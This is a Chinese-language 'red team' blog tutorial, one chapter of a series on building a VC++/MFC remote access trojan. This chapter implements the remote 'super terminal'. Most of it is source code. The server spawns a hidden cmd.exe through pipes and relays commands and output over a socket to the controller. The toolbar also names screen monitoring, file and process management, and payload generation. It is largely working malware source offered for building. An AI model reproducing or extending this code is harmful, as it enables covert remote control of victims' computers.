红队专题-从零开始VC++C/S远程控制软件RAT-MFC-超级终端

在这里插入图片描述

红队专题

  • 招募六边形战士队员
  • [16]超级终端(1)
    • 消息 宏的定义映射
    • cmdshell.cpp重载 构造函数
    • Onsize 随窗口大小事件
    • 回车键发送命令
    • 添加字符转换类 StringToTransform

招募六边形战士队员

一起学习 代码审计、安全开发、web攻防、逆向等。。。
私信联系
在这里插入图片描述

[16]超级终端(1)

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-超级终端_第1张图片

进程间通信


添加命令执行窗体
IDD_CMDSHELL
Resizing 边框
两个edit 控件
read only

客户端 远端发送开启cmd命令 OPEN_CMD(#define OPEN_CMD 0x01) 服务端 

1.创建管道 --- 建立连接

客户端 net user			       

2.服务端 接受命令  ---通过通道(net user)---> 送入CMD进程 ---通过管道guest---> 服务端

服务端 发送回显
客户端  --- 接收回显






MFC类
添加变量   m_recv    m_send


重写cmdshell   oninitdialog事件
BOOL CCmdShell::OnInitDialog()
{
    CDialog::OnInitDialog();

    // TODO:  在此添加额外的初始化
    GetClientRect(&m_rect);
    MSGINFO msg;
    memset(&msg,0,sizeof(MSGINFO));
    msg.Msg_id = CMDSHELL;
    if(m_Mysock.SendCommand(m_sock,(char*)&msg,sizeof(msg))==SOCKET_ERROR)
    {
        MessageBox(_T("启用CMD命令发送失败"),_T("错误"),MB_OK|MB_ICONINFORMATION);
    }
    return TRUE;  // return TRUE unless you set the focus to a control
    // 异常: OCX 属性页应返回 FALSE
}



cmdshell.h 添加在 itemdata.h下

主dlg文件
private:
	void OnCmdShell();   头文件声明

void CClientDlg::OnCmdShell() //超级终端
{
    CItemData *t;
    t = GetSelItemInfo();
    if(t == NULL)
    {
        return;
    }
    else
    {
        t->RunToCmdShell();
    }
}


itemdata cpp  h

void CItemData::RunToCmdShell()
{
    if(m_cmd == NULL)
    {
        m_cmd = new CCmdShell(this,m_sock);
        m_cmd->Create(IDD_CMDSHELL,this);
        m_cmd->ShowWindow(SW_NORMAL);   // 显示窗口
    }
    else
    {
        m_cmd->SetActiveWindow();   // 置前
    }
}


public:
	void RunToCmdShell();
	CCmdShell *m_cmd;   // 命令对话框窗体的指针


CItemData::CItemData(UINT id,SOCKET sock,SOCKADDR_IN *addr,HWND m_hWnd)
{
m_cmd = NULL;

消息 宏的定义映射

BEGIN_MESSAGE_MAP(CClientDlg, CDialog)
	ON_WM_PAINT()
	ON_WM_QUERYDRAGICON()
    //主机消息
    ON_MESSAGE(ID_ONLINE,OnAddHost)
    ON_MESSAGE(ID_OFFLINE,OnOffLine)
    //按钮消息
    ON_COMMAND(ID_FILE_MANAGER,OnFileManager)
    ON_COMMAND(ID_SCREEN,OnScreen)
    ON_COMMAND(ID_CMDSHELL,OnCmdShell)
    ON_COMMAND(ID_TASK,OnTask)
    ON_COMMAND(ID_BUILD,OnBuild)
	//}}AFX_MSG_MAP
    ON_WM_SIZE()
    ON_WM_CLOSE()
END_MESSAGE_MAP()



#define ID_CMDSHELL     1003



    const UINT t[10] = {1001,1002,1003,1004,1005,1006,0,1007,1008,1009};
    m_toolbar.CreateEx(this);
    m_toolbar.SetButtons(t,10);
    m_toolbar.SetSizes(CSize(60,56),CSize(24,24));
    m_toolbar.SetButtonText(0,_T("文件管理"));
    m_toolbar.SetButtonText(1,_T("屏幕监控"));
    m_toolbar.SetButtonText(2,_T("超级终端"));
    m_toolbar.SetButtonText(3,_T("进程管理"));
    m_toolbar.SetButtonText(4,_T("服务管理"));
    m_toolbar.SetButtonText(5,_T("卸载主机"));
    m_toolbar.SetButtonText(7,_T("生成客户"));
    m_toolbar.SetButtonText(8,_T("程序设置"));
    m_toolbar.SetButtonText(9,_T("关于软件"));
    m_toolbar.GetToolBarCtrl().SetImageList(&m_imagelist);

cmdshell.cpp重载 构造函数


CCmdShell::CCmdShell(CWnd* pParent /*=NULL*/,SOCKET sock)
	: CDialog(CCmdShell::IDD, pParent)
{
    m_sock = sock;
}


头文件定义
#include "MySocket.h"
#include "Common.h"

public:
	//CCmdShell(CWnd* pParent = NULL);   // 标准构造函数
    CCmdShell(CWnd* pParent = NULL,SOCKET sock = NULL);   // 标准构造函数
	virtual ~CCmdShell();

private:
    SOCKET m_sock;
    CRect m_rect;
    MSGINFO msg;
    CMySocket m_Mysock;

开启命令功能 common.h 标识
#define CMDSHELL 0x0A

Onsize 随窗口大小事件

public:
    afx_msg void OnSize(UINT nType, int cx, int cy);

void CCmdShell::OnSize(UINT nType, int cx, int cy)
{
    CDialog::OnSize(nType, cx, cy);
    // TODO: 在此处添加消息处理程序代码
    if(nType == SIZE_MINIMIZED)
    {
        return;
    }
    CWnd *pWnd,*pWnd1;
    pWnd = GetDlgItem(IDC_EDIT1);     //获取控件句柄
    pWnd1 = GetDlgItem(IDC_EDIT2);
    if(pWnd && pWnd1)//判断是否为空,因为对话框创建时会调用此函数,而当时控件还未创建
    {
        CRect rect,rect_l;   //获取控件变化前大小
        GetClientRect(&rect_l);
        pWnd->GetWindowRect(&rect);
        ScreenToClient(&rect);
        rect.right = rect.right + (rect_l.right - m_rect.right);
        rect.bottom= rect.bottom + (rect_l.bottom - m_rect.bottom);
        pWnd->MoveWindow(rect);//设置控件大小

        pWnd1->GetWindowRect(&rect);
        ScreenToClient(&rect);
        rect.top = rect.top + (rect_l.bottom - m_rect.bottom);
        rect.right = rect.right + (rect_l.right - m_rect.right);
        rect.bottom= rect.bottom + (rect_l.bottom - m_rect.bottom);
        pWnd1->MoveWindow(rect);//设置控件大小
    }
    else
    {
        delete pWnd;
    }
    GetClientRect(&m_rect);
}

回车键发送命令

public:
	virtual BOOL PreTranslateMessage(MSG* pMsg);
BOOL CCmdShell::PreTranslateMessage(MSG* pMsg)
{
    // TODO: 在此添加专用代码和/或调用基类
    if(pMsg->message==WM_KEYDOWN)  
    {  
        int nVirtKey = (int)pMsg->wParam;
        if(nVirtKey==VK_RETURN)  
        {
            //发送消息
            if(m_send.GetSafeHwnd()==::GetFocus())  // 输入框  句柄  焦点   获取控件窗口 光标在输入框里
            {
                if(GetDlgItem(IDC_EDIT2)->GetWindowTextLengthW() == 0)  //文本长度为零
                {
                    return TRUE;
                }
                CString str;
                GetDlgItem(IDC_EDIT2)->GetWindowTextW(str);  // 宽字节获取字符串 
                msg.Msg_id = COMMAND;
                CMD cmd;   // 获取cmd 结构体
                memset(&cmd,0,sizeof(CMD));
                memset(&msg,0,sizeof(MSGINFO));
                m_str.CStringToChar(str,cmd.command);  // 宽字符 转成 多字节
                if(strcmp(cmd.command,"exit")==0)   //   进程退出
                {
                    SendMessageW(WM_CLOSE,0,0);   // 关闭当前窗体
                    return TRUE;
                }
                msg.Msg_id = COMMAND;
                strcat_s((char*)cmd.command,sizeof(cmd.command),"\r\n");   // 回车 换行
                memcpy(msg.context,&cmd,sizeof(CMD));
                m_Mysock.SendCommand(m_sock,(char*)&msg,sizeof(msg));
                GetDlgItem(IDC_EDIT2)->SetWindowTextW(_T(""));   // 清零
                str.ReleaseBuffer(); 
            }
            return TRUE;
        }
        else if(nVirtKey==VK_ESCAPE)
        {
            return TRUE;
        }
    }
    return CDialog::PreTranslateMessage(pMsg);   //消息传给下一层
}

common头文件 同时 server端同步

cmd 结构体
typedef struct tagCMD //CMD命令信息
{
    int flag;   //保留标志  
    char command[1024];
}CMD;


#define COMMAND  0x0B

cmdshell 头文件

#include "StringToTransform.h"

private:
    CStringToTransform m_str;

添加字符转换类 StringToTransform


#include "StdAfx.h"
#include "StringToTransform.h"

CStringToTransform::CStringToTransform(void)
{
}

CStringToTransform::~CStringToTransform(void)
{
}

void CStringToTransform::CStringToChar(CString str,char* w)
{
	int len = WideCharToMultiByte(CP_ACP,0,str,str.GetLength(),NULL,0,NULL,NULL);
	WideCharToMultiByte(CP_ACP,0,str,str.GetLength(),w,len,NULL,NULL);
	w[len] = '\0';
}

wchar_t* CStringToTransform::CharToCString(char* temp) //替换
{
    DWORD dwNum = MultiByteToWideChar (CP_ACP, 0, temp, -1, NULL, 0);
    wchar_t *pwText;
    pwText = new wchar_t[dwNum];
    if(!pwText)
    {
        delete []pwText;
    }
    MultiByteToWideChar (CP_ACP, 0, temp, -1, pwText, dwNum);
    return pwText;
}


#pragma once

class CStringToTransform
{
public:
    CStringToTransform(void);
    ~CStringToTransform(void);
    void CStringToChar(CString str,char* w);
    wchar_t* CharToCString(char* temp);
};
 

class CCmdShell
{
public:
    CCmdShell(void);
    ~CCmdShell(void);
    void Cmd_Init();
    void Cmd_Recv(char recv_buff[1024]);
    void Cmd_Send();
    DWORD GetProcID();
    void Cmd_GetSock(SOCKET sock);
    void NoTaskExit(SOCKET Socket);
private:
    SOCKET m_sock_cmd;
    CMySocket m_sock;
    HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;
    PROCESS_INFORMATION pi;
	STARTUPINFO si;
};

void CCmdShell::Cmd_Recv(char recv_buff[1024])
{
    DWORD nByteWritten;
    if(strcmp("exit\r\n",recv_buff)==0)
    {
        ::CloseHandle(hWritePipe);
        ::CloseHandle(hReadPipe);
    }
    WriteFile(hWriteFile,recv_buff,strlen(recv_buff),&nByteWritten,NULL);
}

void CCmdShell::Cmd_Send()
{
    //发送命令
    SECURITY_ATTRIBUTES sa;
	DWORD len;
	char send_buff[1024];
	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
	sa.lpSecurityDescriptor = NULL;
	sa.bInheritHandle = TRUE;
    CreatePipe(&hReadFile,&hWritePipe,&sa,0);

    SECURITY_ATTRIBUTES sa_r;
	sa_r.nLength = sizeof(SECURITY_ATTRIBUTES);
	sa_r.lpSecurityDescriptor = NULL;
	sa_r.bInheritHandle = TRUE;
	//创建管道
	CreatePipe(&hReadPipe,&hWriteFile,&sa_r,0);

    MSGINFO_S msg;
    memset(&msg,0,sizeof(MSGINFO_S));
    msg.Msg_id = CMDSHELL;

	while (true)
	{
		//读取管道中的数据
        memset(send_buff,0,sizeof(send_buff));
        if(ReadFile(hReadFile,send_buff,1023,&len,NULL) == FALSE)
        {
            break;
        }
		//把管道中的数据发送给远程主机
        CMD cmd;
        memset(&cmd,0,sizeof(CMD));
        strcpy_s(cmd.command,sizeof(send_buff),send_buff);
        cmd.flag = 0;
        memcpy(msg.context,&cmd,sizeof(CMD));
        m_sock.MySend(m_sock_cmd,(char*)&msg,sizeof(MSGINFO_S));
	}
    printf("CmdThreadOver\n");
}

void CCmdShell::Cmd_Init()
{
    //初始化
    GetStartupInfoW(&si);
	si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
	//使cmd的输入输出和管道关联
	si.hStdInput = hReadPipe;
	si.hStdError = hWritePipe;
	si.hStdOutput = hWritePipe;
	si.wShowWindow = SW_HIDE;
	wchar_t cmdline[256]={0};
	//得到系统路径
	GetSystemDirectory(cmdline,sizeof(cmdline));
    wcscat_s(cmdline,_T("\\cmd.exe"));
	//创建cmd进程
	if (CreateProcess(cmdline, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi) == 0)
	{
		printf("CreateProcess Error\n");
	}
    ::CloseHandle(pi.hProcess);
}

void CCmdShell::Cmd_GetSock(SOCKET sock)
{
    m_sock_cmd = sock;
}

case CMDSHELL:
            {
                printf("CmeShell\n");
                m_cmd.Cmd_GetSock(l_Socket);
                ::CloseHandle(CreateThread(0,0,SendCmd,(LPVOID)&m_cmd,0,0));
                Sleep(200);
                ::CloseHandle(CreateThread(0,0,InitCmd,(LPVOID)&m_cmd,0,0));
            }
            break;
        case COMMAND: //未修改
            {
                CMD recvcmd;
                char recv_buff[1024];
                memset(&recvcmd,0,sizeof(CMD));
                memcpy(&recvcmd,msg.context,sizeof(CMD));
                memset(recv_buff,0,sizeof(recv_buff));
                strcpy_s(recv_buff,1024,recvcmd.command);
                if(m_task.ExistTask(m_cmd.GetProcID()) == false)
                {
                    m_cmd.NoTaskExit(l_Socket);
                    break;
                }
                m_cmd.Cmd_Recv(recv_buff);
            }
            break;

//客户端

    void GetReturnInfo(CMD t);
private:
    CStringToTransform m_str;
    CRect m_rect;
    CMySocket m_Mysock;
    SOCKET m_sock;
    MSGINFO msg;
    static unsigned int __stdcall OnCmdRecv(LPVOID self);
    void OnCmdRecv_run();


void CCmdShell::GetReturnInfo(CMD t)
{
    if(t.flag == 0)
    {
        CString tem;
        wchar_t *pwText;
        pwText = m_str.CharToCString(t.command);
        m_recv.GetWindowTextW(tem);
        m_recv.SetWindowTextW(tem + pwText);
        m_recv.SetSel(-1);
        delete[] pwText;
        m_send.GetFocus();
    }
    else
    {
        MessageBox(_T("服务端CMD进程被意外结束"),_T("提示"),MB_OK|MB_ICONWARNING);
        SendMessageW(WM_CLOSE,0,0);
    }
}

void CCmdShell::OnClose()
{
    // TODO: 在此添加消息处理程序代码和/或调用默认值
    MSGINFO msg;
    CMD cmd;
    memset(&msg,0,sizeof(MSGINFO));
    memset(&cmd,0,sizeof(CMD));
    msg.Msg_id = COMMAND;
    strcpy_s((char*)cmd.command,sizeof("exit\r\n"),"exit\r\n");
    memcpy(msg.context,&cmd,sizeof(CMD));
    m_Mysock.SendCommand(m_sock,(char*)&msg,sizeof(msg));

    //CDialog::OnClose();
    ((CItemData*)this->m_pParentWnd)->m_cmd = NULL;
    DestroyWindow();
    delete this;
}

  

GetClientRect(&m_rect);
    MSGINFO msg;
    memset(&msg,0,sizeof(MSGINFO));
    msg.Msg_id = CMDSHELL;
    if(m_Mysock.SendCommand(m_sock,(char*)&msg,sizeof(msg))==SOCKET_ERROR)
    {
        MessageBox(_T("启用CMD命令发送失败"),_T("错误"),MB_OK|MB_ICONINFORMATION);
    }

 

你可能感兴趣的:(c++,c语言,mfc)